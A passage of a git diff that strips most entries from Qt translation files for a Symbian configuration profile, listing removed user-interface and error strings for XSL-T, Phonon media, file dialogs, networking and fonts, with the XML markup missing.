    -        Attribute %1 cannot appear on the element %2. Only the standard attributes can appear.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot appear on the element %2. Only %3 is allowed, and the standard attributes.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot appear on the element %2. Allowed is %3, %4, and the standard attributes.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot appear on the element %2. Allowed is %3, and the standard attributes.
    -        
    -    
    -    
    -        
    -        XSL-T attributes on XSL-T elements must be in the null namespace, not in the XSL-T namespace which %1 is.
    -        
    -    
    -    
    -        
    -        The attribute %1 must appear on element %2.
    -        
    -    
    -    
    -        
    -        The element with local name %1 does not exist in XSL-T.
    -        
    -    
    -    
    -        
    -        Element %1 must come last.
    -        
    -    
    -    
    -        
    -        At least one %1-element must occur before %2.
    -        
    -    
    -    
    -        
    -        Only one %1-element can appear.
    -        
    -    
    -    
    -        
    -        At least one %1-element must occur inside %2.
    -        
    -    
    -    
    -        
    -        When attribute %1 is present on %2, a sequence constructor cannot be used.
    -        
    -    
    -    
    -        
    -        Element %1 must have either a %2-attribute or a sequence constructor.
    -        
    -    
    -    
    -        
    -        When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
    -        
    -    
    -    
    -        
    -        Element %1 cannot have children.
    -        
    -    
    -    
    -        
    -        Element %1 cannot have a sequence constructor.
    -        
    -    
    -    
    -        
    -        
    -        The attribute %1 cannot appear on %2, when it is a child of %3.
    -        
    -    
    -    
    -        
    -        A parameter in a function cannot be declared to be a tunnel.
    -        
    -    
    -    
    -        
    -        This processor is not Schema-aware and therefore %1 cannot be used.
    -        
    -    
    -    
    -        
    -        Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
    -        
    -    
    -    
    -        
    -        The value for attribute %1 on element %2 must either be %3 or %4, not %5.
    -        
    -    
    -    
    -        
    -        Attribute %1 cannot have the value %2.
    -        
    -    
    -    
    -        
    -        The attribute %1 can only appear on the first %2 element.
    -        
    -    
    -    
    -        
    -        At least one %1 element must appear as child of %2.
    -        
    -    
    -
    -
    -    VolumeSlider
    -    
    -        
    -        Muted
    -        
    -    
    +    QApplication
         
    -        
    -        
    -        Volume: %1%
    -        
    +        QT_LAYOUT_DIRECTION
    +        Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    +        RTL
         
     
     
    diff --git a/config.profiles/symbian/translations/qt_fa.ts b/config.profiles/symbian/translations/qt_fa.ts
    index d876a9d..386480e 100644
    --- a/config.profiles/symbian/translations/qt_fa.ts
    +++ b/config.profiles/symbian/translations/qt_fa.ts
    @@ -2,8506 +2,12 @@
     
     
     
    -    
    -        CloseButton
    -        
    -            Close Tab
    -            
    -        
    -    
    -    
    -        FakeReply
    -        
    -            Fake error !
    -            
    -        
    -        
    -            Invalid URL
    -            
    -        
    -    
    -    
    -        Phonon::
    -        
    -            Notifications
    -            
    -        
    -        
    -            Music
    -            
    -        
    -        
    -            Video
    -            
    -        
    -        
    -            Communication
    -            
    -        
    -        
    -            Games
    -            
    -        
    -        
    -            Accessibility
    -            
    -        
    -    
    -    
    -        Phonon::AudioOutput
    -        
    -            <html>The audio playback device <b>%1</b> does not work.<br/>Falling back to <b>%2</b>.</html>
    -            
    -        
    -        
    -            <html>Switching to the audio playback device <b>%1</b><br/>which just became available and has higher preference.</html>
    -            
    -        
    -        
    -            Revert back to device '%1'
    -            
    -        
    -    
    -    
    -        Phonon::Gstreamer::Backend
    -        
    -            Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
    -          Some video features have been disabled.
    -            
    -        
    -        
    -            Warning: You do not seem to have the base GStreamer plugins installed.
    -          All audio and video support has been disabled
    -            
    -        
    -    
    -    
    -        Phonon::Gstreamer::MediaObject
    -        
    -            Cannot start playback. 
    -
    -Check your GStreamer installation and make sure you 
    -have libgstreamer-plugins-base installed.
    -            
    -        
    -        
    -            A required codec is missing. You need to install the following codec(s) to play this content: %0
    -            
    -        
    -        
    -            Could not open media source.
    -            
    -        
    -        
    -            Invalid source type.
    -            
    -        
    -        
    -            Could not locate media source.
    -            
    -        
    -        
    -            Could not open audio device. The device is already in use.
    -            
    -        
    -        
    -            Could not decode media source.
    -            
    -        
    -    
    -    
    -        Phonon::MMF
    -        
    -            Audio Output
    -            
    -        
    -        
    -            The audio output device
    -            
    -        
    -        
    -            No error
    -            
    -        
    -        
    -            Not found
    -            
    -        
    -        
    -            Out of memory
    -            
    -        
    -        
    -            Not supported
    -            
    -        
    -        
    -            Overflow
    -            
    -        
    -        
    -            Underflow
    -            
    -        
    -        
    -            Already exists
    -            
    -        
    -        
    -            Path not found
    -            
    -        
    -        
    -            In use
    -            
    -        
    -        
    -            Not ready
    -            
    -        
    -        
    -            Access denied
    -            
    -        
    -        
    -            Could not connect
    -            
    -        
    -        
    -            Disconnected
    -            
    -        
    -        
    -            Permission denied
    -            
    -        
    -        
    -            Insufficient bandwidth
    -            
    -        
    -        
    -            Network unavailable
    -            
    -        
    -        
    -            Network communication error
    -            
    -        
    -        
    -            Streaming not supported
    -            
    -        
    -        
    -            Server alert
    -            
    -        
    -        
    -            Invalid protocol
    -            
    -        
    -        
    -            Invalid URL
    -            
    -        
    -        
    -            Multicast error
    -            
    -        
    -        
    -            Proxy server error
    -            
    -        
    -        
    -            Proxy server not supported
    -            
    -        
    -        
    -            Audio output error
    -            
    -        
    -        
    -            Video output error
    -            
    -        
    -        
    -            Decoder error
    -            
    -        
    -        
    -            Audio or video components could not be played
    -            
    -        
    -        
    -            DRM error
    -            
    -        
    -        
    -            Unknown error (%1)
    -            
    -        
    -    
    -    
    -        Phonon::MMF::AbstractMediaPlayer
    -        
    -            Not ready to play
    -            
    -        
    -        
    -            Error opening file
    -            
    -        
    -        
    -            Error opening URL
    -            
    -        
    -        
    -            Setting volume failed
    -            
    -        
    -        
    -            Playback complete
    -            
    -        
    -    
    -    
    -        Phonon::MMF::AudioEqualizer
    -        
    -            %1 Hz
    -            
    -        
    -    
    -    
    -        Phonon::MMF::AudioPlayer
    -        
    -            Getting position failed
    -            
    -        
    -        
    -            Opening clip failed
    -            
    -        
    -    
    -    
    -        Phonon::MMF::EffectFactory
    -        
    -            Enabled
    -            
    -        
    -    
    -    
    -        Phonon::MMF::EnvironmentalReverb
    -        
    -            Decay HF ratio (%)
    -            
    -        
    -        
    -            Decay time (ms)
    -            
    -        
    -        
    -            Density (%)
    -            
    -        
    -        
    -            Diffusion (%)
    -            
    -        
    -        
    -            Reflections delay (ms)
    -            
    -        
    -        
    -            Reflections level (mB)
    -            
    -        
    -        
    -            Reverb delay (ms)
    -            
    -        
    -        
    -            Reverb level (mB)
    -            
    -        
    -        
    -            Room HF level
    -            
    -        
    -        
    -            Room level (mB)
    -            
    -        
    -    
    -    
    -        Phonon::MMF::MediaObject
    -        
    -            Error opening source: type not supported
    -            
    -        
    -        
    -            Error opening source: media type could not be determined
    -            
    -        
    -    
    -    
    -        Phonon::MMF::StereoWidening
    -        
    -            Level (%)
    -            
    -        
    -    
    -    
    -        Phonon::MMF::VideoPlayer
    -        
    -            Pause failed
    -            
    -        
    -        
    -            Seek failed
    -            
    -        
    -        
    -            Getting position failed
    -            
    -        
    -        
    -            Opening clip failed
    -            
    -        
    -        
    -            Buffering clip failed
    -            
    -        
    -        
    -            Video display error
    -            
    -        
    -    
    -    
    -        Phonon::VolumeSlider
    -        
    -            Volume: %1%
    -            
    -        
    -        
    -            Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%
    -            
    -        
    -        
    -            Muted
    -            
    -        
    -    
    -    
    -        Q3Accel
    -        
    -            %1, %2 not defined
    -            
    -        
    -        
    -            Ambiguous %1 not handled
    -            
    -        
    -    
    -    
    -        Q3DataTable
    -        
    -            True
    -            
    -        
    -        
    -            False
    -            
    -        
    -        
    -            Insert
    -            
    -        
    -        
    -            Update
    -            
    -        
    -        
    -            Delete
    -            
    -        
    -    
    -    
    -        Q3FileDialog
    -        
    -            Copy or Move a File
    -            
    -        
    -        
    -            Read: %1
    -            
    -        
    -        
    -            Write: %1
    -            
    -        
    -        
    -            Cancel
    -            
    -        
    -        
    -            All Files (*)
    -            
    -        
    -        
    -            Name
    -            
    -        
    -        
    -            Size
    -            
    -        
    -        
    -            Type
    -            
    -        
    -        
    -            Date
    -            
    -        
    -        
    -            Attributes
    -            
    -        
    -        
    -            &OK
    -            
    -        
    -        
    -            Look &in:
    -            
    -        
    -        
    -            File &name:
    -            
    -        
    -        
    -            File &type:
    -            
    -        
    -        
    -            Back
    -            
    -        
    -        
    -            One directory up
    -            
    -        
    -        
    -            Create New Folder
    -            
    -        
    -        
    -            List View
    -            
    -        
    -        
    -            Detail View
    -            
    -        
    -        
    -            Preview File Info
    -            
    -        
    -        
    -            Preview File Contents
    -            
    -        
    -        
    -            Read-write
    -            
    -        
    -        
    -            Read-only
    -            
    -        
    -        
    -            Write-only
    -            
    -        
    -        
    -            Inaccessible
    -            
    -        
    -        
    -            Symlink to File
    -            
    -        
    -        
    -            Symlink to Directory
    -            
    -        
    -        
    -            Symlink to Special
    -            
    -        
    -        
    -            File
    -            
    -        
    -        
    -            Dir
    -            
    -        
    -        
    -            Special
    -            
    -        
    -        
    -            Open
    -            
    -        
    -        
    -            Save As
    -            
    -        
    -        
    -            &Open
    -            
    -        
    -        
    -            &Save
    -            
    -        
    -        
    -            &Rename
    -            
    -        
    -        
    -            &Delete
    -            
    -        
    -        
    -            R&eload
    -            
    -        
    -        
    -            Sort by &Name
    -            
    -        
    -        
    -            Sort by &Size
    -            
    -        
    -        
    -            Sort by &Date
    -            
    -        
    -        
    -            &Unsorted
    -            
    -        
    -        
    -            Sort
    -            
    -        
    -        
    -            Show &hidden files
    -            
    -        
    -        
    -            the file
    -            
    -        
    -        
    -            the directory
    -            
    -        
    -        
    -            the symlink
    -            
    -        
    -        
    -            Delete %1
    -            
    -        
    -        
    -            <qt>Are you sure you wish to delete %1 "%2"?</qt>
    -            
    -        
    -        
    -            &Yes
    -            
    -        
    -        
    -            &No
    -            
    -        
    -        
    -            New Folder 1
    -            
    -        
    -        
    -            New Folder
    -            
    -        
    -        
    -            New Folder %1
    -            
    -        
    -        
    -            Find Directory
    -            
    -        
    -        
    -            Directories
    -            
    -        
    -        
    -            Directory:
    -            
    -        
    -        
    -            Error
    -            
    -        
    -        
    -            %1
    -File not found.
    -Check path and filename.
    -            
    -        
    -        
    -            All Files (*.*)
    -            
    -        
    -        
    -            Open 
    -            
    -        
    -        
    -            Select a Directory
    -            
    -        
    -    
    -    
    -        Q3LocalFs
    -        
    -            Could not read directory
    -%1
    -            
    -        
    -        
    -            Could not create directory
    -%1
    -            
    -        
    -        
    -            Could not remove file or directory
    -%1
    -            
    -        
    -        
    -            Could not rename
    -%1
    -to
    -%2
    -            
    -        
    -        
    -            Could not open
    -%1
    -            
    -        
    -        
    -            Could not write
    -%1
    -            
    -        
    -    
    -    
    -        Q3MainWindow
    -        
    -            Line up
    -            
    -        
    -        
    -            Customize...
    -            
    -        
    -    
    -    
    -        Q3NetworkProtocol
    -        
    -            Operation stopped by the user
    -            
    -        
    -    
    -    
    -        Q3ProgressDialog
    -        
    -            Cancel
    -            
    -        
    -    
    -    
    -        Q3TabDialog
    -        
    -            OK
    -            
    -        
    -        
    -            Apply
    -            
    -        
    -        
    -            Help
    -            
    -        
    -        
    -            Defaults
    -            
    -        
    -        
    -            Cancel
    -            
    -        
    -    
    -    
    -        Q3TextEdit
    -        
    -            &Undo
    -            
    -        
    -        
    -            &Redo
    -            
    -        
    -        
    -            Cu&t
    -            
    -        
    -        
    -            &Copy
    -            
    -        
    -        
    -            &Paste
    -            
    -        
    -        
    -            Clear
    -            
    -        
    -        
    -            Select All
    -            
    -        
    -    
    -    
    -        Q3TitleBar
    -        
    -            System
    -            
    -        
    -        
    -            Restore up
    -            
    -        
    -        
    -            Minimize
    -            
    -        
    -        
    -            Restore down
    -            
    -        
    -        
    -            Maximize
    -            
    -        
    -        
    -            Close
    -            
    -        
    -        
    -            Contains commands to manipulate the window
    -            
    -        
    -        
    -            Puts a minimized window back to normal
    -            
    -        
    -        
    -            Moves the window out of the way
    -            
    -        
    -        
    -            Puts a maximized window back to normal
    -            
    -        
    -        
    -            Makes the window full screen
    -            
    -        
    -        
    -            Closes the window
    -            
    -        
    -        
    -            Displays the name of the window and contains controls to manipulate it
    -            
    -        
    -    
    -    
    -        Q3ToolBar
    -        
    -            More...
    -            
    -        
    -    
    -    
    -        Q3UrlOperator
    -        
    -            The protocol `%1' is not supported
    -            
    -        
    -        
    -            The protocol `%1' does not support listing directories
    -            
    -        
    -        
    -            The protocol `%1' does not support creating new directories
    -            
    -        
    -        
    -            The protocol `%1' does not support removing files or directories
    -            
    -        
    -        
    -            The protocol `%1' does not support renaming files or directories
    -            
    -        
    -        
    -            The protocol `%1' does not support getting files
    -            
    -        
    -        
    -            The protocol `%1' does not support putting files
    -            
    -        
    -        
    -            The protocol `%1' does not support copying or moving files or directories
    -            
    -        
    -        
    -            (unknown)
    -            
    -        
    -    
    -    
    -        Q3Wizard
    -        
    -            &Cancel
    -            
    -        
    -        
    -            < &Back
    -            
    -        
    -        
    -            &Next >
    -            
    -        
    -        
    -            &Finish
    -            
    -        
    -        
    -            &Help
    -            
    -        
    -    
    -    
    -        QAbstractSocket
    -        
    -            Host not found
    -            
    -        
    -        
    -            Connection refused
    -            
    -        
    -        
    -            Connection timed out
    -            
    -        
    -        
    -            Operation on socket is not supported
    -            
    -        
    -        
    -            Socket operation timed out
    -            
    -        
    -        
    -            Socket is not connected
    -            
    -        
    -        
    -            Network unreachable
    -            
    -        
    -    
    -    
    -        QAbstractSpinBox
    -        
    -            &Step up
    -            
    -        
    -        
    -            Step &down
    -            
    -        
    -        
    -            &Select All
    -            
    -        
    -    
    -    
    -        QAccessibleButton
    -        
    -            Press
    -            
    -        
    -    
    -    
    -        QApplication
    -        
    -            QT_LAYOUT_DIRECTION
    -            Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    -            RTL
    -        
    -        
    -            Executable '%1' requires Qt %2, found Qt %3.
    -            
    -        
    -        
    -            Incompatible Qt Library Error
    -            
    -        
    -        
    -            Activate
    -            
    -        
    -        
    -            Activates the program's main window
    -            
    -        
    -    
    -    
    -        QAxSelect
    -        
    -            Select ActiveX Control
    -            
    -        
    -        
    -            OK
    -            
    -        
    -        
    -            &Cancel
    -            
    -        
    -        
    -            COM &Object:
    -            
    -        
    -    
    -    
    -        QCheckBox
    -        
    -            Uncheck
    -            
    -        
    -        
    -            Check
    -            
    -        
    -        
    -            Toggle
    -            
    -        
    -    
    -    
    -        QColorDialog
    -        
    -            Hu&e:
    -            Hu&e:
    -        
    -        
    -            &Sat:
    -            &Sat:
    -        
    -        
    -            &Val:
    -            &Val:
    -        
    -        
    -            &Red:
    -            &Red:
    -        
    -        
    -            &Green:
    -            
    -        
    -        
    -            Bl&ue:
    -            
    -        
    -        
    -            A&lpha channel:
    -            
    -        
    -        
    -            Select Color
    -            Select Color
    -        
    -        
    -            &Basic colors
    -            
    -        
    -        
    -            &Custom colors
    -            
    -        
    -        
    -            &Add to Custom Colors
    -            
    -        
    -    
    -    
    -        QComboBox
    -        
    -            Open
    -            Open
    -        
    -        
    -            False
    -            False
    -        
    -        
    -            True
    -            True
    -        
    -        
    -            Close
    -            Close
    -        
    -    
    -    
    -        QCoreApplication
    -        
    -            %1: key is empty
    -            QSystemSemaphore
    -            %1: key is empty
    -        
    -        
    -            %1: unable to make key
    -            QSystemSemaphore
    -            %1: unable to make key
    -        
    -        
    -            %1: ftok failed
    -            QSystemSemaphore
    -            %1: ftok failed
    -        
    -        
    -            %1: already exists
    -            QSystemSemaphore
    -            %1: already exists
    -        
    -        
    -            %1: does not exist
    -            QSystemSemaphore
    -            %1: does not exist
    -        
    -        
    -            %1: out of resources
    -            QSystemSemaphore
    -            %1: out of resources
    -        
    -        
    -            %1: unknown error %2
    -            QSystemSemaphore
    -            %1: unknown error %2
    -        
    -    
    -    
    -        QDB2Driver
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -        
    -            Unable to set autocommit
    -            Unable to set autocommit
    -        
    -    
    -    
    -        QDB2Result
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to bind variable
    -            Unable to bind variable
    -        
    -        
    -            Unable to fetch record %1
    -            Unable to fetch record %1
    -        
    -        
    -            Unable to fetch next
    -            Unable to fetch next
    -        
    -        
    -            Unable to fetch first
    -            Unable to fetch first
    -        
    -    
    -    
    -        QDateTimeEdit
    -        
    -            AM
    -            AM
    -        
    -        
    -            am
    -            am
    -        
    -        
    -            PM
    -            PM
    -        
    -        
    -            pm
    -            pm
    -        
    -    
    -    
    -        QDial
    -        
    -            QDial
    -            QDial
    -        
    -        
    -            SpeedoMeter
    -            SpeedoMeter
    -        
    -        
    -            SliderHandle
    -            SliderHandle
    -        
    -    
    -    
    -        QDialog
    -        
    -            What's This?
    -            What's This?
    -        
    -        
    -            Done
    -            Done
    -        
    -    
    -    
    -        QDialogButtonBox
    -        
    -            OK
    -            OK
    -        
    -        
    -            Save
    -            Save
    -        
    -        
    -            &Save
    -            &Save
    -        
    -        
    -            Open
    -            Open
    -        
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            &Cancel
    -            &Cancel
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            &Close
    -            &Close
    -        
    -        
    -            Apply
    -            Apply
    -        
    -        
    -            Reset
    -            Reset
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Don't Save
    -            Don't Save
    -        
    -        
    -            Discard
    -            Discard
    -        
    -        
    -            &Yes
    -            &Yes
    -        
    -        
    -            Yes to &All
    -            Yes to &All
    -        
    -        
    -            &No
    -            &No
    -        
    -        
    -            N&o to All
    -            N&o to All
    -        
    -        
    -            Save All
    -            Save All
    -        
    -        
    -            Abort
    -            Abort
    -        
    -        
    -            Retry
    -            Retry
    -        
    -        
    -            Ignore
    -            Ignore
    -        
    -        
    -            Restore Defaults
    -            Restore Defaults
    -        
    -        
    -            Close without Saving
    -            Close without Saving
    -        
    -        
    -            &OK
    -            &OK
    -        
    -    
    -    
    -        QDirModel
    -        
    -            Name
    -            Name
    -        
    -        
    -            Size
    -            Size
    -        
    -        
    -            Kind
    -            Match OS X Finder
    -            Kind
    -        
    -        
    -            Type
    -            All other platforms
    -            Type
    -        
    -        
    -            Date Modified
    -            Date Modified
    -        
    -    
    -    
    -        QDockWidget
    -        
    -            Close
    -            Close
    -        
    -        
    -            Dock
    -            Dock
    -        
    -        
    -            Float
    -            Float
    -        
    -    
    -    
    -        QDoubleSpinBox
    -        
    -            More
    -            More
    -        
    -        
    -            Less
    -            Less
    -        
    -    
    -    
    -        QErrorMessage
    -        
    -            &Show this message again
    -            &Show this message again
    -        
    -        
    -            &OK
    -            &OK
    -        
    -        
    -            Debug Message:
    -            Debug Message:
    -        
    -        
    -            Warning:
    -            Warning:
    -        
    -        
    -            Fatal Error:
    -            Fatal Error:
    -        
    -    
    -    
    -        QFile
    -        
    -            Destination file exists
    -            Destination file exists
    -        
    -        
    -            Will not rename sequential file using block copy
    -            Will not rename sequential file using block copy
    -        
    -        
    -            Cannot remove source file
    -            Cannot remove source file
    -        
    -        
    -            Cannot open %1 for input
    -            Cannot open %1 for input
    -        
    -        
    -            Cannot open for output
    -            Cannot open for output
    -        
    -        
    -            Failure to write block
    -            Failure to write block
    -        
    -        
    -            Cannot create %1 for output
    -            Cannot create %1 for output
    -        
    -    
    -    
    -        QFileDialog
    -        
    -            All Files (*)
    -            All Files (*)
    -        
    -        
    -            Back
    -            Back
    -        
    -        
    -            List View
    -            List View
    -        
    -        
    -            Detail View
    -            Detail View
    -        
    -        
    -            File
    -            File
    -        
    -        
    -            Open
    -            Open
    -        
    -        
    -            Save As
    -            Save As
    -        
    -        
    -            &Open
    -            &Open
    -        
    -        
    -            &Save
    -            &Save
    -        
    -        
    -            Recent Places
    -            Recent Places
    -        
    -        
    -            &Rename
    -            &Rename
    -        
    -        
    -            &Delete
    -            &Delete
    -        
    -        
    -            Show &hidden files
    -            Show &hidden files
    -        
    -        
    -            New Folder
    -            New Folder
    -        
    -        
    -            Find Directory
    -            Find Directory
    -        
    -        
    -            Directories
    -            Directories
    -        
    -        
    -            All Files (*.*)
    -            All Files (*.*)
    -        
    -        
    -            Directory:
    -            Directory:
    -        
    -        
    -            %1 already exists.
    -Do you want to replace it?
    -            %1 already exists.
    -Do you want to replace it?
    -        
    -        
    -            %1
    -File not found.
    -Please verify the correct file name was given.
    -            %1
    -File not found.
    -Please verify the correct file name was given.
    -        
    -        
    -            My Computer
    -            My Computer
    -        
    -        
    -            Parent Directory
    -            Parent Directory
    -        
    -        
    -            Files of type:
    -            Files of type:
    -        
    -        
    -            %1
    -Directory not found.
    -Please verify the correct directory name was given.
    -            %1
    -Directory not found.
    -Please verify the correct directory name was given.
    -        
    -        
    -            '%1' is write protected.
    -Do you want to delete it anyway?
    -            '%1' is write protected.
    -Do you want to delete it anyway?
    -        
    -        
    -            Are sure you want to delete '%1'?
    -            Are sure you want to delete '%1'?
    -        
    -        
    -            Could not delete directory.
    -            Could not delete directory.
    -        
    -        
    -            Drive
    -            Drive
    -        
    -        
    -            File Folder
    -            Match Windows Explorer
    -            File Folder
    -        
    -        
    -            Folder
    -            All other platforms
    -            Folder
    -        
    -        
    -            Alias
    -            Mac OS X Finder
    -            Alias
    -        
    -        
    -            Shortcut
    -            All other platforms
    -            Shortcut
    -        
    -        
    -            Unknown
    -            Unknown
    -        
    -        
    -            Show 
    -            Show 
    -        
    -        
    -            Forward
    -            Forward
    -        
    -        
    -            &New Folder
    -            &New Folder
    -        
    -        
    -            &Choose
    -            &Choose
    -        
    -        
    -            Remove
    -            Remove
    -        
    -        
    -            File &name:
    -            File &name:
    -        
    -        
    -            Look in:
    -            Look in:
    -        
    -        
    -            Create New Folder
    -            Create New Folder
    -        
    -    
    -    
    -        QFileSystemModel
    -        
    -            %1 TB
    -            %1 TB
    -        
    -        
    -            %1 GB
    -            %1 GB
    -        
    -        
    -            %1 MB
    -            %1 MB
    -        
    -        
    -            %1 KB
    -            %1 KB
    -        
    -        
    -            %1 bytes
    -            %1 bytes
    -        
    -        
    -            Invalid filename
    -            Invalid filename
    -        
    -        
    -            <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    -            <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    -        
    -        
    -            Name
    -            Name
    -        
    -        
    -            Size
    -            Size
    -        
    -        
    -            Kind
    -            Match OS X Finder
    -            Kind
    -        
    -        
    -            Type
    -            All other platforms
    -            Type
    -        
    -        
    -            Date Modified
    -            Date Modified
    -        
    -        
    -            My Computer
    -            My Computer
    -        
    -        
    -            Computer
    -            Computer
    -        
    -        
    -            %1 byte(s)
    -            %1 byte(s)
    -        
    -    
    -    
    -        QFontDatabase
    -        
    -            Normal
    -            Normal
    -        
    -        
    -            Bold
    -            Bold
    -        
    -        
    -            Demi Bold
    -            Demi Bold
    -        
    -        
    -            Black
    -            Black
    -        
    -        
    -            Demi
    -            Demi
    -        
    -        
    -            Light
    -            Light
    -        
    -        
    -            Italic
    -            Italic
    -        
    -        
    -            Oblique
    -            Oblique
    -        
    -        
    -            Any
    -            Any
    -        
    -        
    -            Latin
    -            Latin
    -        
    -        
    -            Greek
    -            Greek
    -        
    -        
    -            Cyrillic
    -            Cyrillic
    -        
    -        
    -            Armenian
    -            Armenian
    -        
    -        
    -            Hebrew
    -            Hebrew
    -        
    -        
    -            Arabic
    -            Arabic
    -        
    -        
    -            Syriac
    -            Syriac
    -        
    -        
    -            Thaana
    -            Thaana
    -        
    -        
    -            Devanagari
    -            Devanagari
    -        
    -        
    -            Bengali
    -            Bengali
    -        
    -        
    -            Gurmukhi
    -            Gurmukhi
    -        
    -        
    -            Gujarati
    -            Gujarati
    -        
    -        
    -            Oriya
    -            Oriya
    -        
    -        
    -            Tamil
    -            Tamil
    -        
    -        
    -            Telugu
    -            Telugu
    -        
    -        
    -            Kannada
    -            Kannada
    -        
    -        
    -            Malayalam
    -            Malayalam
    -        
    -        
    -            Sinhala
    -            Sinhala
    -        
    -        
    -            Thai
    -            Thai
    -        
    -        
    -            Lao
    -            Lao
    -        
    -        
    -            Tibetan
    -            Tibetan
    -        
    -        
    -            Myanmar
    -            Myanmar
    -        
    -        
    -            Georgian
    -            Georgian
    -        
    -        
    -            Khmer
    -            Khmer
    -        
    -        
    -            Simplified Chinese
    -            Simplified Chinese
    -        
    -        
    -            Traditional Chinese
    -            Traditional Chinese
    -        
    -        
    -            Japanese
    -            Japanese
    -        
    -        
    -            Korean
    -            Korean
    -        
    -        
    -            Vietnamese
    -            Vietnamese
    -        
    -        
    -            Symbol
    -            Symbol
    -        
    -        
    -            Ogham
    -            Ogham
    -        
    -        
    -            Runic
    -            Runic
    -        
    -        
    -            N'Ko
    -            N'Ko
    -        
    -    
    -    
    -        QFontDialog
    -        
    -            &Font
    -            &Font
    -        
    -        
    -            Font st&yle
    -            Font st&yle
    -        
    -        
    -            &Size
    -            &Size
    -        
    -        
    -            Effects
    -            Effects
    -        
    -        
    -            Stri&keout
    -            Stri&keout
    -        
    -        
    -            &Underline
    -            &Underline
    -        
    -        
    -            Sample
    -            Sample
    -        
    -        
    -            Select Font
    -            Select Font
    -        
    -        
    -            Wr&iting System
    -            Wr&iting System
    -        
    -    
    -    
    -        QFtp
    -        
    -            Host %1 found
    -            Host %1 found
    -        
    -        
    -            Host found
    -            Host found
    -        
    -        
    -            Connected to host %1
    -            Connected to host %1
    -        
    -        
    -            Connected to host
    -            Connected to host
    -        
    -        
    -            Connection to %1 closed
    -            Connection to %1 closed
    -        
    -        
    -            Connection closed
    -            Connection closed
    -        
    -        
    -            Host %1 not found
    -            Host %1 not found
    -        
    -        
    -            Connection refused to host %1
    -            Connection refused to host %1
    -        
    -        
    -            Connection timed out to host %1
    -            Connection timed out to host %1
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            Connecting to host failed:
    -%1
    -            Connecting to host failed:
    -%1
    -        
    -        
    -            Login failed:
    -%1
    -            Login failed:
    -%1
    -        
    -        
    -            Listing directory failed:
    -%1
    -            Listing directory failed:
    -%1
    -        
    -        
    -            Changing directory failed:
    -%1
    -            Changing directory failed:
    -%1
    -        
    -        
    -            Downloading file failed:
    -%1
    -            Downloading file failed:
    -%1
    -        
    -        
    -            Uploading file failed:
    -%1
    -            Uploading file failed:
    -%1
    -        
    -        
    -            Removing file failed:
    -%1
    -            Removing file failed:
    -%1
    -        
    -        
    -            Creating directory failed:
    -%1
    -            Creating directory failed:
    -%1
    -        
    -        
    -            Removing directory failed:
    -%1
    -            Removing directory failed:
    -%1
    -        
    -        
    -            Not connected
    -            Not connected
    -        
    -        
    -            Connection refused for data connection
    -            Connection refused for data connection
    -        
    -    
    -    
    -        QHostInfo
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QHostInfoAgent
    -        
    -            Host not found
    -            Host not found
    -        
    -        
    -            Unknown address type
    -            Unknown address type
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            No host name given
    -            No host name given
    -        
    -        
    -            Invalid hostname
    -            Invalid hostname
    -        
    -    
    -    
    -        QHttp
    -        
    -            Connection refused
    -            Connection refused
    -        
    -        
    -            Host %1 not found
    -            Host %1 not found
    -        
    -        
    -            Wrong content length
    -            Wrong content length
    -        
    -        
    -            HTTP request failed
    -            HTTP request failed
    -        
    -        
    -            Host %1 found
    -            Host %1 found
    -        
    -        
    -            Host found
    -            Host found
    -        
    -        
    -            Connected to host %1
    -            Connected to host %1
    -        
    -        
    -            Connected to host
    -            Connected to host
    -        
    -        
    -            Connection to %1 closed
    -            Connection to %1 closed
    -        
    -        
    -            Connection closed
    -            Connection closed
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            Request aborted
    -            Request aborted
    -        
    -        
    -            No server set to connect to
    -            No server set to connect to
    -        
    -        
    -            Server closed connection unexpectedly
    -            Server closed connection unexpectedly
    -        
    -        
    -            Invalid HTTP response header
    -            Invalid HTTP response header
    -        
    -        
    -            Unknown authentication method
    -            Unknown authentication method
    -        
    -        
    -            Invalid HTTP chunked body
    -            Invalid HTTP chunked body
    -        
    -        
    -            Error writing response to device
    -            Error writing response to device
    -        
    -        
    -            Proxy authentication required
    -            Proxy authentication required
    -        
    -        
    -            Authentication required
    -            Authentication required
    -        
    -        
    -            Proxy requires authentication
    -            Proxy requires authentication
    -        
    -        
    -            Host requires authentication
    -            Host requires authentication
    -        
    -        
    -            Data corrupted
    -            Data corrupted
    -        
    -        
    -            SSL handshake failed
    -            SSL handshake failed
    -        
    -        
    -            Unknown protocol specified
    -            Unknown protocol specified
    -        
    -        
    -            Connection refused (or timed out)
    -            Connection refused (or timed out)
    -        
    -        
    -            HTTPS connection requested but SSL support not compiled in
    -            HTTPS connection requested but SSL support not compiled in
    -        
    -    
    -    
    -        QHttpSocketEngine
    -        
    -            Did not receive HTTP response from proxy
    -            Did not receive HTTP response from proxy
    -        
    -        
    -            Error parsing authentication request from proxy
    -            Error parsing authentication request from proxy
    -        
    -        
    -            Authentication required
    -            Authentication required
    -        
    -        
    -            Proxy denied connection
    -            Proxy denied connection
    -        
    -        
    -            Error communicating with HTTP proxy
    -            Error communicating with HTTP proxy
    -        
